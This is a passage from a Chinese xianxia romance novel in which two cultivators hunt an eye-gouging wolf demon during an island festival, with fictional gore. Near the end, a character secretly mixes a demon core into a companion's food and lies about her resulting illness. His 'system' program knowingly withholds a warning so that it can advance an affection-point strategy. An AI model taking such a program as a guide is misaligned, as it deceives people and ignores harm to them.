“今日十八,是玲珑岛一月一次的玲珑会,听说当年岛主与老爷定情之日就是十八,当时岛主眉心画了花钿,老爷对岛主一见钟情。”
“老爷死后,岛主便将十八日定为玲珑会,未婚女子出门前都会在眉心画上花钿,表示自己没有婚配,不过玲珑会晚上才热闹。”
“自从岛上有妖出现后,男子都不出门了,不过玲珑会却比往常更加热闹。”
岁忆谙一听便来了兴趣,靳江浛却顿感不妙。
天色一暗,岁忆谙的客房就门窗紧闭,靳江浛只觉古怪,他一个闪身进入客房。
只见岁忆谙坐在席垫上,桌前摆着铜镜,她换上了一身天水碧织金长裙,裙摆四散在地上,在烛火的照耀下波光粼粼。
而她手中正握着笔在脸上画着什么。
“你在干嘛?”靳江浛的话语里充斥着浓浓的怨气。
“你吓我一跳。”岁忆谙吓得手一抖,差点画错。
“你在干嘛?”靳江浛又问了一遍。
“画花钿,今晚是玲珑会,我要出去玩玩儿。”岁忆谙让秦妤蓉今晚带她出去逛逛玲珑会。
靳江浛自然知晓玲珑会是做什么的,一听岁忆谙要出去,他不满地问:“那你画花钿干嘛?”
“她们都画了,我也凑个热闹。”岁忆谙敷衍道,手上动作不停,她想得特别,打算在眼尾画上花钿。
靳江浛想抢过笔说不准画,但他不能怎么做,便只能用手将满地的裙摆挪到一边,坐到她身侧的空位上。
在岁忆谙疑惑的目光下,靳江浛拿过笔,说:“我帮你。”
“你会画吗?”岁忆谙看向靳江浛的目光里都是怀疑。
靳江浛嘟囔道:“别小瞧我。”
桌上摆满了十几盒五颜六色的胭脂,都是秦妤蓉派人送来的,靳江浛挑了盒自己喜欢的颜色,一手握着毛笔,一手拿着胭脂。
稍软的笔尖点在脸上,淡淡的胭脂香萦绕鼻尖,岁忆谙眼睫轻颤,她抬眸看向近在咫尺的靳江浛。
靳江浛屏息凝神,神情认真,手上的动作很轻,每一笔都十分温柔。
似乎是感受到了岁忆谙的目光,靳江浛看向她浅棕色的眼睛。
四目相对,猝不及防的对视让岁忆谙呼吸一滞,甚至能看见靳江浛漆黑的眼中倒映着自己,她慌乱地移开视线。
靳江浛轻笑出声,欲落笔时——
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之五十七。】
毛笔顿住,靳江浛再度看向岁忆谙,只见藏在发丝下的耳朵微微泛红,而他自己的心脏也扑通扑通地跳了起来。
靳江浛迅速画完,放下笔后,他坐远了些。
岁忆谙拿起铜镜,仔细看着左眼眼尾的花钿。
“你画的是什么花?”
“桃花。”靳江浛回答道。
不知怎得,在落笔前,靳江浛就想起了秘境里的那棵桃花树精,还有岁忆谙替他挡树枝的那一幕。
落笔后,桃花花瓣就出现了。
“青绿色的桃花?”岁忆谙笑着看他,眼眸澄澈,眼尾的青绿色桃花为她添上了些许魅惑。
靳江浛躲闪着岁忆谙的目光,双手忍不住摩挲着衣料,生怕她不喜欢,便弱弱地说:“别有一番风味嘛,好看的。”
话落,靳江浛又看了眼岁忆谙,是真的好看。
“行吧行吧。”
府邸的另一间房内,张亦宣独自坐在桌前,暗自神伤。
“少爷,妻主说,今晚您不用等她了,她要出府一趟。”
“出府?去哪儿了?”
“今日十八,是玲珑会,她带着客人出去游会了。”
张亦宣失魂落魄,摆摆手让侍从下去,他无聊地在房中晃悠,晃着晃着就晃到了衣柜前。
夜色深沉,街上热闹极了,满街都挂满了红色的灯笼,照得整条街亮堂堂的,街上不见男子,都是女子。
除了岁忆谙右侧的靳江浛。
靳江浛也换了一身衣衫,是天水碧色。
岁忆谙的左侧是秦妤蓉,两人有一搭没一搭地聊着天,直到一个长相怪异,举动怪异,步伐怪异的人走到秦妤蓉面前。
秦妤蓉抬头一看,不可置信地上下打量着眼前的人,“你怎么出来了?还穿女子衣裙?!”
“我在房里等了你一天,结果你出府了。”
“是我的错,那你怎么穿我的衣裙出来?”秦妤蓉忍不住发笑,张亦宣偷穿了她的衣裙。
“胆子小。”
张亦宣现在整个人很难受,秦妤蓉的衣裙太小了,挤得难受,而他脸上还化了妆,有些滑稽,但一眼看去还是能认出他是男的。
秦妤蓉面露愧疚之意,她说:“岁姑娘,我得带我夫君回去了,天色已晚,我怕…………”
“好的好的,我可以自己逛。”岁忆谙点头。
秦妤蓉让侍从跟着两人,到时候玩够了,就能给两人引路回去。
岁忆谙望着秦妤蓉和张亦宣的背影愣神,靳江浛问:“有这么好看吗?”
“这对夫妻真幸福。”岁忆谙感叹道。
靳江浛却不明白,他问:【零零壹,秦妤蓉和张亦宣哪儿幸福了?】
零零壹无语,它只是一堆程序,怎么知晓何时幸福?它敷衍道:【可能是张亦宣穿女装吧。】
穿女装就幸福了?靳江浛沉思。
岁忆谙一回头就又被靳江浛吓了一跳,她困惑地问:“你怎么也换上女装了?”
靳江浛施了个法术,将自己身上的衣衫换成了女子衣裙,他直愣愣道:“让你幸福啊。”
岁忆谙笑
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着骂道:“你是蠢吗?”
“啊?”靳江浛依旧是愣愣的一副表情。
眼见着其余人的视线纷纷看过来后,岁忆谙催促:“你赶紧换回去。”
等到靳江浛换回原本的衣衫后,岁忆谙才道:“秦妤蓉和张亦宣幸福,是因为张亦宣即使知晓岛上有专对男子下手的妖怪,也会冒着危险出府来见秦妤蓉。”
“哦。”原来是因为想见。
靳江浛懂了。
两人继续逛街,铺子基本上都开了,只不过唯有一间铁匠铺的大门关得紧紧的。
街边还有演木偶戏的台子,岁忆谙拿着糖画站在台前看戏,不知不觉间,她就看入了迷。
直到木偶戏结束,岁忆谙转身一看,靳江浛不见了。
“人呢?”
岁忆谙四处张望,一直跟着她的侍从开口说:“刚刚那位公子往那儿去了。”
侍从指了一个方向,岁忆谙顺着手指的方向看去,是一条漆黑的小巷,她想她还是站在原地等靳江浛来吧。
岁忆谙来到旁边的小摊子上,刚拿起一支簪子,几枝桃花突然出现。
抬头一看,是靳江浛。
“送你的。”
岁忆谙接过,问:“你哪儿来的桃花?”
“那棵桃花树精是用于弟子考核的,我还是气不过,就把折了几枝送你。”靳江浛说。
岁忆谙意味深长地看了他一眼,然后捧着桃花离开。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之六十。】
靳江浛不太懂那一眼的意思,应该是开心的吧,他屁颠屁颠地跟上去。
两人来到了白天秦妤蓉带两人去过的茶楼。
窗户依旧大开着,岁忆谙侧头向下看去,街上人来人往,好生热闹。
坐在对面的靳江浛一直紧盯着岁忆谙,月光照进,眼尾的青绿色桃花在岁忆谙摆头的动作下泛着细闪。
不过比起花钿,最亮的还是岁忆谙的眼睛。
靳江浛看愣了神,直到岁忆谙将一块竹叶糕递到他跟前。
“别看了,快吃吧。”
靳江浛对甜的不感兴趣,但他还是接过了竹叶糕,咬了一小口,微微甜,吃起来倒是很清爽。
“好吃吧,你早上都没吃。”
吃完后,岁忆谙买了个花瓶,想着将桃花带回去放着,两人跟着侍从回了府。
岁忆谙回到客房,侍女已经将沐浴的水备好了,她沐浴完后,就将桃花插进花瓶里。
将花摆到桌上后,岁忆谙拿起梳子,对着铜镜梳妆。
就在这时,一道刺耳的狼叫声从头顶上传来,她下意识向上看去,空空如也。
或许………是从房顶上传来的。
不过府邸里怎么可能出现狼……难道是…………
这个想法一出现,岁忆谙立刻将门窗都锁上。
刚转身就撞上了一个人。
“靳江浛?你怎么来了?”岁忆谙问。
靳江浛面色凝重,他将木盘递给岁忆谙,说:“夜宵,呆在房里不许出来。”
说罢,靳江浛消失在原地。
岁忆谙披了件外衫,她坐在席垫上,望着那一碗浇了红糖的豆花,一点儿食欲都没有。
豆花是热的,还冒着热气。
直到靳江浛出现,他走到桌子的另一边,望着丝毫未动过的豆花说:“你怎么不吃?”
岁忆谙仰起头,见到靳江浛完好无损地站在自己面前后,一直蹙着的眉也松懈了下来,她问:“你刚刚着急忙慌地去哪儿了?”
“有妖气,追妖去了。”靳江浛边坐下边说道,他手摸上瓷碗。
不一会儿,早已凉透的豆花又恢复热气腾腾的样子,靳江浛往前一推,道:“温好了,快吃吧。”
岁忆谙反手推回去,“不想吃热的,没胃口。”
靳江浛一愣,他察觉到了岁忆谙的异样,柔声劝道:“夜里不能吃太凉的。”
岁忆谙的手肘撑在桌上,也不说话,也不看靳江浛。
那碗豆花孤零零地搁在桌上,靳江浛重新将甜豆花冰好,叹气道:“仅此一次。”
岁忆谙听后,抬眸看他,眼中流露出不满。
靳江浛只能改口:“不止一次。”
岁忆谙听后,满意地点点头,然后拿起勺子舀了一口,甜豆花入口,冰冰凉凉,甜而不腻。
见她终于愿意吃了,靳江浛稍微松了口气,他说:“岛中有狼妖,但不能判断是不是挖眼睛的那只。”
“啊!”
忽然,外头传来尖叫声。
“死人了………死人了!!!”
85. IF假如是反派攻略(六)
府中后院黑灯瞎火,数十位侍从举着红灯笼将后院照亮。
昏黄的灯光凑近,地上躺着一具男尸,双眼被挖,暗红色的血水浸透青砖。
“眼睛被挖掉了。”不知是谁说了这一句,在场的人陷入恐慌之中。
场面不算恐怖,岁忆谙多看了几眼。
在场的人都很害怕,靳江浛随便找了个侍从问:“上一次人眼睛被挖是什么时候?什么地点?”
那人道:“那就是十五了,在道观外头,不过那人活了下来。”
说到这儿,秦妤蓉刚好来了,她吩咐着侍从将尸体搬去殓房,等仵作验完尸后,就安排下葬。
“看来我们得找西街的那个铁匠。”
岁忆谙对靳江浛说的话刚好被秦妤蓉听见,秦妤蓉走了过来,“姑娘知晓那个铁匠?”
岁忆谙道:“听侍女说的。”
秦妤蓉道:“那日我也在场,我刚从道观出来,就听见身后传来惨叫声,回头一看,那铁匠躺在阶梯上,眼睛被挖掉,不知是不是有其余人在场,所以那铁匠没死。”
岁忆谙疑惑:“妖怎会因为有人闯入而不杀呢?”
“明日问问就能知晓一切了。”
翌日破晓,晨雾还未散时,两人来到西街,昨夜岁忆谙见到的紧闭铺子此刻半掩着门。
铺内光线昏暗,隐约可见一个戴着黑布眼罩的男人独坐在竹椅上,竹椅发出细微的吱呀声。
打铁炉冰凉无比,像是许久都没有生起火过。
两人表明来意后,铁匠坐着的竹椅缓缓停住,他陷入回忆当中。
“那日你为何去道观,眼睛被挖掉前可看见了凶手的模样?”
铁匠面无表情,或许他已经习惯了看不见,又或许他早已心如死灰。
“我是去求姻缘的,上楼梯时隐约听见了一声狼叫…………”
“狼?”岁忆谙想到了昨夜的狼叫和靳江浛说的狼妖,她侧头看向靳江浛。
两人对视一瞬,靳江浛接着问:“然后呢?”
“我并没有看见人,而是看见了……狼,好像又没看见狼。”铁匠有些不确定。
“之后眼睛就很痛,硬生生痛昏了过去,醒来就发现自己看不见了。”
“多谢。”
二人得到了想要的线索,岁忆谙打算回去询问一下秦妤蓉,刚跨过府邸大门的门槛,一道淡紫色身影出现。
岁忆谙走上前喊:“妻主。”
秦妤蓉笑道:“岁姑娘喊我妤蓉就好。”
岁忆谙只是点点头,她问:“我想问问,那日在道观你可有听见狼叫?”
若是秦妤蓉听见了狼叫声,再结合昨夜她听见的狼叫声,挖眼睛的凶手大概率就是狼妖了。
“狼叫?”
秦妤蓉愣了一下,仔细回想过后,摇头道:“没有。”
“菲儿,你可有听见?”秦妤蓉还问了一下她的贴身侍女。
侍女同样说没有。
靳江浛为此猜测:“可能只有即将被挖去眼睛的人才可以听见。”
此言一出,岁忆谙的脸色骤然一白,连指尖都微微发颤。
回房的路上,靳江浛敏锐地察觉到她的异样,连忙拉住她,低声问道:“怎么了?”
“我………”
岁忆谙欲言又止,在靳江浛说那句话之前,她认为自己听见了狼叫声,现如今的她不是很想承认自己听见狼叫声了。
靳江浛见状更急了,在他的追问下,岁忆谙道:“昨晚我听见狼叫声了,你没听见吗?”
“你听见了?!”靳江浛惊呼。
“这么激动干什么。”见靳江浛这么惊讶,岁忆谙倒是莫名松了口气。
“昨晚什么时候?”
“你到我房里的前一秒。”岁忆谙说着就推门踏进客房,靳江浛跟了上来,顺带把门关上。
岁忆谙坐在席垫上,“昨夜我并未听见狼叫,到你房里的那一刻,我只感受到了妖气。”
“还好我来给你送夜宵了,应该是我在,所以他才对别人下手。”
“他不是只对男子下手吗?你怎么能听见狼叫声?”
“我也不知,莫非……他看上了我的眼睛?”岁忆谙猜测道。
靳江浛听后,抬头看向岁忆谙,准确来说是看向她的眼睛。
浅棕色的瞳孔干净澄澈,宛若星辰,看得靳江浛心里紧张,此时此刻,岁忆谙的眼睛中也只有他一个人。
两人对视,靳江浛不自觉将手覆在岁忆谙的手背上。
靳江浛凝视着她的眼睛,声音低沉且坚定:“我会保护你的。”
手背上传来温热的触感,温度渗进岁忆谙的肌肤里,顺着血液抵达至心脏,使她心跳加速。
几秒后,岁忆谙双颊绯红,慌乱地收回手,小小地哦了一声。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之六十五。】
靳江浛的耳边都是自己心跳声,他并没有听见系统播报音,环顾房内一圈,视线落在了花瓶里的桃枝上。
靳江浛折下了一枝较为花瓣完整的,走到岁忆谙身侧,他蹲下身子,说:“这枝桃花上有我的魔力,戴上它。”
岁忆谙伸手想要接过,却落了个空,她愣了一下,诧异抬眸,对上靳江浛满是笑意的目光。
“我给你戴上。”
话落,靳江浛找了个好的角度,将桃花枝插进岁忆谙的发间。
桃花粉嫩,衬得岁忆谙的面庞多了几分娇艳。
接连两日,岁忆谙和靳江浛形影不离,睡觉的时候,靳江浛就在她房内打地铺,她是安全了,但妖还没有抓到。
直到岁忆谙提议:“要不……我当个诱饵?”
“不可以。”
靳江浛想也没想就开口否决,他怎么可能让岁忆谙置身险境。
来玲珑岛是零零壹提议的,虽然靳江浛带岁忆谙来此处就是为了上演一出英雄救美的桥段,增加岁忆谙对他的好感度。
谁料那妖只抓男人,不过这倒让靳江浛放下心来。
与岁忆谙相处过后,靳江浛发现自己变了,他也不知自己到底哪儿变了。
现如今,靳江浛更是觉得零零壹出的这个主意烂透了。
而岁忆谙听后,身子微微前倾,歪着脑袋看他,真挚地问:“你没有能力保护我吗?”
“我有,可是………”
岁忆谙开口打断:“既然有,那就没有可是。”
当日下午,岁忆谙就打算去道观上香,毕竟上岛的初心就是为了来道观,靳江浛则在暗处跟着。
岁忆谙一身素衣,她提着贡品踏上台阶时,一道微乎其微的呜咽声响起,她脚步一顿,继续走着。
来到殿外时,呜咽声越来越大,岁忆谙忍不住调转脚步,往观后走去。
暗处的靳江浛连忙跟上,走过拐角,却发现面前空无一人!
而岁忆谙在后墙边发现了一只灰白色的小狗,它萎靡地趴在地上。
“小狗?”
小狗似乎是听见了岁忆谙的呼唤,它发出微弱的呜咽声,好像很难受。
岁忆谙心生怜悯,她蹲下身子抚摸着小狗的脑袋。
忽然,一个念头在脑中闪过,岁忆谙喃喃:“你是狗还是狼…………”
话落,岁忆谙眼一闭昏倒在地上,白光一闪,蜷缩在墙角的小狗崽变成了一个男子。
男子样貌英俊,奇怪的是他眉毛的颜色不是黑色,而是灰白相间的长毛,鬓边也长着些许灰白毛,他像狗蹲在原地,然后朝地上的岁忆谙伸出手。
尖锐的黑色指甲即将戳到岁忆谙的眼睛时,岁忆谙发间的桃花枝感知到了危险,它散发出了浓烈的黑气。
黑气朝男子袭去,男子向后翻了个跟头顺利躲避。
就在这时,岁忆谙也醒了过来,她刚撑起身子,就看见不远处蹲着一个服饰怪异的男子。
岁忆谙见情况不妙,她迅速站起来,转身就想跑。
男子一挥手,一道灰白妖力缠上了岁忆谙的四肢,将她禁锢在原地。
岁忆谙瞳孔骤缩,声音发颤:“你………你是狼妖?”
男子没有说话,而是走到岁忆谙面前,瞥了一眼她发间的桃花枝,再一次朝她的眼睛伸手,这次的举动带着几分试探的意味。
而那桃花枝再次散发出魔力,男子迅速收回手,不敢靠近。
天色渐暗,枯树歪斜,树枝上停着几只黑色乌鸦,荒山野岭中突然传来了野兽的吼叫,惊得那几只乌鸦四窜而逃。
鸟叫声在林间回荡,格外瘆人。
岁忆谙的双手手腕被妖力捆在一起,她不知晓男子为何带自己来这里,她只知晓自己走了快一个半时辰的山路,要不是在凌仙宗锻炼过,她的脚早就废了。
岁忆谙忍不住朝走在前头的狼妖问道:“你不是只对男的下手吗?”
狼妖没有回头,只是说:“你的眼睛很漂亮。”
狼妖说的很平淡,没有用阴恻恻的语气,这让岁忆谙感觉自己被夸了,她又问:“你为什么要挖别人的眼睛?”
“因为我看不见。”
“看不见?”岁忆谙诧异。
脚下的路都被野草覆盖,一脚下去说不定就会踩空,更何况天色昏暗,狼妖走的每一步都很扎实,一点儿也不
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像看不见的样子。
岁忆谙思索几秒,惊呼道:“你现在的眼睛是别人的?!”
狼妖没有说话,岁忆谙来了兴趣,也不怕狼妖生气后将她杀了,她问:“那你原本的眼睛呢?”
“呵…………”
狼妖自嘲一笑,他停下脚步,开始讲述他的遭遇。
岁忆谙趁机靠着树干休息,她边听边偷偷掐诀,口中念咒:“缚灵解,万物开,乾坤正气破禁来。”
试了好几次都没反应,岁忆谙想,她可能是手势错了。
狼妖叫午图。
半年前,午图被修仙弟子追捕,身受重伤,尤其是眼睛,仅剩的妖力维持不了人型,他便以幼狼形态昏倒在路边。
“小狗!”
“你受伤了?”
迷迷糊糊间,午图闻到了道观的线香味,那日正好初一,随即他听见了一道惊呼声,然后就感觉自己被人捧了起来。
午图用尽最后一丝力气睁开眼睛,在失明前他看清了把自己捧起来的人。
是一个女子,长得清秀。
午图只看了一眼便失去了意识,当他醒来后,眼睛就看不见了,一片漆黑,他慌张地叫嚷着。
落在女子耳朵里就是狗崽子在叫,她将午图抱起安抚,给他喂了点羊奶。
而午图也知晓女子救了他,不过他只与女子相处了不到一日,午图感受到了修仙弟子的气息便跑了,之后他就在也没有遇见那个女子。
至此,午图就有了一个执念,便是找到那个女子。
说到这儿,午图笑出了声,笑声里满是对自己的嘲讽,他说:“我忘记了她的声音,只记得眼睛失明前看到的那张脸。”
午图记得救命恩人的脸,却忘记了救命恩人的声音,碰巧的是他双目失明,这似乎是老天爷在跟他开玩笑,后来他想清楚了,是他自己无用,没有能力记住。
岁忆谙了然,视线从手上转移到午图身上,“所以你就杀人取眼,想要找到她?”
午图没有承认,也没有否认,他只是问了岁忆谙一个问题:“你觉得我可笑吗?”
“是挺可笑的。”
“所以这就是你杀我的理由吗?”
“如果是的话,那更可笑了。”
“挖了那么多人的眼睛都没找到,你可真是一个废物。”
“既是废物,就算你将岛上所有男人的眼睛都挖掉你也找不到人。”
岁忆谙懒散地倚靠在树干上,她语气平缓,气都不喘地连说了五句话。
听到这儿的午图冲着岁忆谙怒道:“要不是那群修仙弟子,我也不会变成一个瞎子!”
“我也不想杀那么多人的,可当我安上第一个人的眼睛后,那双眼睛不到几日就腐烂发臭了,所以我要寻找新的眼睛!”
午图为自己辩解着,他情绪激动,那双不属于他的眼睛里布满了红血丝,表情扭曲。
“那就去找修仙弟子啊,你挖我的眼睛干什么?”
虽然说有仇报仇,有怨报怨,但不能报错人吧。
午图质问:“你不就是修仙的吗?”
岁忆谙反问:“你的眼睛是我弄瞎的吗?是我让你挖眼杀人的吗?”
“你没能力找害你的修仙弟子,反倒找上我一个刚入门的,你就是欺软怕硬!”
岁忆谙无语至极,为了能看见便挖了别人的眼睛,害死了那么多条人命,到头来还对无辜之人下手,搞得好像他才是受害者一样。
午图被岁忆谙说到怔愣,他冷哼一声:“反正你的眼睛我要定了。”
说罢,午图就准备伸手。
岁忆谙急忙制止:“我还有一个问题。”
午图的手顿在半空,岁忆谙急忙问:“十五那日,你为什么放走那个男人?”
午图听后,陷入回忆:“因为香火味,我闻到了道观里飘出来的香火味,和那日闻到的一模一样。”
“缚灵解,万物开,乾坤正气破禁来。”
岁忆谙赶忙掐诀念咒,这次她念完后,束缚在手腕上的力道终于散开,趁着午图还在回想,她再次念咒。
“一滴封灵,水露凝冰————去。”
随着岁忆谙掐诀,数万颗水滴从四面八方而来,水滴交汇在双手之间,话音落下,水滴朝午图飞去。
午图单手施法,轻而易举地抵挡掉岁忆谙的攻击。
就岁忆谙这点修为还妄想要伤到他,真是不自量力。
就在午图准备还击时,用妖力结成的保护结界破了一个口子,数颗水滴悄悄从破口进入,粘在他身上后,就结成了冰。
等到午图发现后,他的双脚已经被冰冻住。
86. IF假如是反派攻略(七)
“怎么可能!”午图惊呼,他怎么可能会被一个修为低微的弟子定住。
午图正想破开冰块时,他感受到了一道熟悉的魔力,冰蔓延得更快了,眨眼之间就到了上半身。
站在不远处的岁忆谙兴奋不已,她自顾自说着:“第一次实战就成功,看来白师兄说的很对,我资质的确不错。”
“白师兄?”
身后传来一道幽幽的声音,仔细听还能听出些许酸涩。
岁忆谙转身便看见了浑身戾气的靳江浛,但她没有察觉到,只是一只手拉着靳江浛的衣袖,一只手指向午图。
“靳江浛,你快看!”
岁忆谙十分激动,毕竟她可是一次就成功了。
靳江浛看都没看午图一眼,视线紧紧地盯着岁忆谙,问:“你弄的?”
“对呀。”
靳江浛瞥见岁忆谙肩膀的衣服上有树干碎屑,他伸手轻轻摘下,嘴上还不忘夸道:“很厉害,下山休假还能顺带抓只妖回去,届时整个宗门的弟子都会佩服你。”
只剩头还没被冻住的午图见败局已定,他开口喊道:“等一下。”
岁忆谙问:“你还有什么想要说的?”
午图愤愤道:“我只是想找到我的救命恩人,为什么你们连这点要求都不能满足我?”
“要求要求,有要才能求,你找救命恩人关我什么事情?”岁忆谙鄙夷地看了他一眼。
“我求求你了,这双眼睛我还能用三天,我不杀人了,我只找她三天,三天后你们想怎么处置我都可以…………”说到最后,午图竟然哭了。
岁忆谙觉得自己还是一个善良的人,她扭头问:“靳江浛,这双眼睛挖出来后还能会给那个铁匠吗?”
靳江浛点头:“可以,不过等不了三天。”
听到靳江浛的回答,岁忆谙对午图说:“一天,我只给你一天的时间,一天后这双眼睛你就得还回去。”
“好,一天也好!”午图连忙答应。
这时,靳江浛却摇头说:“不太行,现在就得还回去。”
“那我没办法了。”岁忆谙朝午图耸了耸肩,一副无能为力的模样,眼中没有半点歉意。
“靳江浛,你能把眼睛挖出来吗?”
“当然可以。”
午图开始求饶,他泣不成声道:“等一下!我错了………我真的错了,就让我再找一日吧。”
岁忆谙摇摇头:“你不会认为你自己错了的,你只是因为被抓才认错,你找了那么久都没找到,看来是天不让你们相见。”
“再说了,救你的人也不一定想见你。”
“挖了吧。”岁忆谙的声音很轻,却令午图汗毛直立。
靳江浛嘴角勾起一抹微笑:“遵命。”
靳江浛向午图走去,脚下枯枝被踩得脆响,没走两步,他回头说:“你先转过身去,场面不太雅观。”
“我还挺感兴趣的。”岁忆谙歪着头,眼中闪烁着好奇。
靳江浛沉声笑道:“可能三天吃不下饭。”
“那算了。”岁忆谙歇了心思,她迅速背过身。
靳江浛见岁忆谙转身后,偷偷施法布下了一道隔绝声音的结界,他走到午图面前,说:“想看见吗?”
午图一愣,以为靳江浛心软了,他忙不迭点头:“想。”
“妖丹,你可以用你自己的妖丹炼制一双眼睛。”
妖丹对妖来说十分重要,更何况午图也不确定靳江浛会不会放过自己。
“怎么?舍不得了?”靳江浛没有耐心等待,等久了岁忆谙会起疑心的。
“看来你并不是真的想见她,虚伪至极,既如此,你的妖丹我要了。”
靳江浛撤掉结界,伸出手,掌心对着午图的胸口,淡淡的蓝光从掌心浮现。
还没等午图反应过来,体内一阵剧痛,比当初被修仙弟子重伤还要痛,与此同时,靳江浛也将他的双眼挖出,他甚至能听见眼眶内血肉被搅动的声音。
“啊!!!!”
刺耳的惨叫声响起,岁忆谙忍不住捂上耳朵,好在惨叫声只持续了两三秒。
“好了。”靳江浛走到岁忆谙身侧,岁忆谙侧头看去,他手上正拎着一只两个月大的狼,眼窝凹陷,奄奄一息。
岁忆谙问:“变回原形了?”
“嗯,到时候带回凌仙宗就好了。”说罢,靳江浛将午图收起。
两人先来到西街的铁匠铺子,将铁匠的眼睛安回去。
两人前脚跨过了府邸门槛,后脚铁匠复明的消息就传遍了玲珑岛的大街小巷。
秦妤蓉听说妖已被擒,便迫不及待地从房中出来,穿过回廊,直奔前厅,张亦宣紧随其后,都快要跟不上她了。
岁忆谙正坐在大厅的木椅上,手里端着茶杯,刚饮一口,还没来得及细细品味,耳边就传来了秦妤蓉的声音。
秦妤蓉踏入厅中,眉眼间难掩喜色,就连发间的琉璃珠钗都发出了清脆欢快的声音。
“岁姑娘,你可是抓到那只挖人眼睛的妖了?”秦妤蓉的声音里透着几分急切。
“抓到了。”
“太好了。”秦妤蓉眼中的笑意更重,她摆手让岁忆谙坐下。
“妻主可要看看妖?”
秦妤蓉瞥了眼坐在身旁的张亦宣,摇头说:“不了,他胆子小,抓到就好。”
张亦宣被说得有些不好意思。
“妖的原型是一只狼。”岁忆谙道。
张亦宣缩了缩身子,说:“狼我也怕。”
秦妤蓉不由吐槽道:“你连猫狗都怕,娘为了你,特意把岛上的动物都迁走了。”
张亦宣道:“哪有迁走?半年前不还是遇见了一只狗吗?”
半年前?
岁忆谙一听到这个熟悉的时间点就与靳江浛对视一眼,她忍不住多问了几句。
“大概半年前,我还没和他成婚的时候,他约我去道观,回来的路上我们看见了一只受伤的小狗,像是刚出生的,刚看见他就躲得远远的。”
岁忆谙追问:“然后呢?那只狗现在在何处?”
“我就把那只狗带回家了,给它喂了点吃的,不过当晚就不见了。”
说到这儿,秦妤蓉的眼中还有些许惋惜,她还挺喜欢小动物的,不过这些小动物也不是必不可少的。
“只能说我和那只小狗有缘无份吧。”秦妤蓉叹息,张亦宣将她的神情都看在了眼里。
“哦…………天色已晚,我就不打扰了。”岁忆谙随便找了个借口。
“岁姑娘稍等,玲珑岛说大不大,说小也不小,妖孽被擒一事应该已经传遍了,所以明早我打算为你们办一场庆功宴,不知两位意下如何?”
岁忆谙和靳江浛眼神交流了一会儿,便说:“庆功宴就不必了,我和靳江浛都不喜热闹。”
“好吧。”
待两人的脚步声渐远,秦妤蓉若有所思地开口:“你说,我要送什么礼呢?”
“送点钱?”张亦宣随口道,他正望着外头出神,心思都不在这儿。
秦妤蓉斜睨他一眼,眼底尽是无奈,她起身道:“我还是去问娘好了。”
“娘子等等我。”张亦宣赶忙起身追上。
夜色如墨,卧房内只点着床头柜上的一盏烛台。
岁忆谙累坏了,她将软枕立起,背靠在软枕之间昏昏欲睡。
此刻强撑就是为了等靳江浛将宵夜送来,每晚的宵夜都像是在开盲盒,而且不会令人失望。
屏风外传来一阵响动,岁忆谙被惊醒,睁开眼便看见屏风上出现一道影子,看这身形像是靳江浛。
只见靳江浛手里端着木盘,他先是四处看了看,最后面对着屏风。
“岁忆谙,你睡了吗?”
“没睡。”岁忆谙开口。
片刻之后,靳江浛才道:“那我进来了。”
岁忆谙听出了靳江浛语气里的怪异,但她并没有细想。
当靳江浛越过屏风走进来后,岁忆谙先是注意到了他的装扮,一身青衫,双眼被白纱遮住。
窗户半开着,阵阵凉风吹进,靳江浛眼上戴着的白纱随风飘逸,他手里正端着一碟糕点。
靳江浛走上前,他单膝跪在床边,将碟子举到岁忆谙面前,碟子里放的是桃花形状的青色糕点。
岁忆谙往床沿挪了挪,她疑惑地问:“这是桃花糕?”
“我自己做的竹叶糕,只是捏成了桃花的形状。”靳江浛解释道。
“你怎么又遮眼睛?”岁忆谙抬眸看他,上次靳江浛也遮眼睛了,真是奇怪。
靳江浛依旧没有回答,他扯开话题,说:“不重要,我拿了筷子,不脏手,你快尝尝。”
岁忆谙拿着筷子轻轻夹起一块糕点,刚送入口中,眼睛便亮了起来,她惊喜道:“好吃,比外面卖的更软糯,嚼着也更香。”
“你也吃呀。”
“你吃就好了,我特意做给你吃的。”
见岁忆谙吃得开心,靳江浛的表情倒是有些僵硬,他将碟子放在床头柜上,站起身说:“我去给你泡茶解腻。”
晨光透过窗棂洒进卧房,斑驳光影照
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在岁忆谙身上。
日上三竿,岁忆谙还未醒,靳江浛重新带上眼纱走进房内。
“岁忆谙,你怎么还不起床?”
靳江浛绕过屏风来到榻前,白纱遮眼,他看不清岁忆谙的脸,只听见床上的人呼吸急促,他察觉不对,一把扯下白纱。
只见床榻上的岁忆谙双颊酡红,满头大汗,靳江浛心里发慌,他高声喊着:“岁忆谙,你快醒醒。”
“岁忆谙!”
岁忆谙被吵醒,她迷迷糊糊地睁开眼,看见靳江浛后,她道:“靳江浛…………我头晕。”
靳江浛伸手,指尖触碰到了岁忆谙额头,惊人的温度烫得指尖发疼,他惊呼:“你发高热了!”
“我困…………”岁忆谙只觉得脑袋昏沉,随口嘟囔后,便闭上眼沉睡了过去。
靳江浛知晓岁忆谙为何会突发高热,这都怪他,他现在十分怨恨自己昨夜为何要给岁忆谙准备竹叶糕,他只是想给岁忆谙补补身体而已,怎么会发热呢?
【宿主,岁忆谙是肉体凡胎,自然承受不住狼妖的妖丹。】
零零壹真是搞不懂靳江浛为何将妖丹混进竹叶糕里面,靳江浛虽不知晓后果,但它知晓,不提醒也是为了给靳江浛创造机会,就看靳江浛能否把握了。
靳江浛握紧了岁忆谙的手,他运转魔力缓解岁忆谙的不适。
等到岁忆谙脸色好些后,靳江浛才离开卧房,他先是去找了秦妤蓉,说岁忆谙身体不适,打算多留几日。
秦妤蓉自然是答应下来,玲珑岛拿出了百两黄金作为捉妖的谢礼,靳江浛也毫不客气地收下。
离七日假期还有三两日,岁忆谙当晚便醒了,醒来后便觉得口干舌燥,她翻身下榻走向桌子。
岁忆谙给自己倒了杯水,水是热的,应该是刚烧完不久,她接连喝了几杯才缓解了干燥的喉咙。
刚搁下瓷杯,岁忆谙就听见身后有脚步声,扭头一看,是靳江浛。
“谙,你终于醒了,你都睡一天了。”靳江浛眼中满是担忧之色,他将手中的药膳放在岁忆谙桌前,自己坐在右边。
“我怎么了?”岁忆谙只记得昨夜吃了几块竹叶糕后就睡了,睡得很不舒服,筋疲力尽。
靳江浛眼神躲闪,他随口道:“应该是昨日用多了灵力,歇一歇就好了。”
岁忆谙并未察觉到靳江浛的异样,也并未怀疑,她问:“哦,现在什么时辰?”
“卯时一刻。”靳江浛回答道。
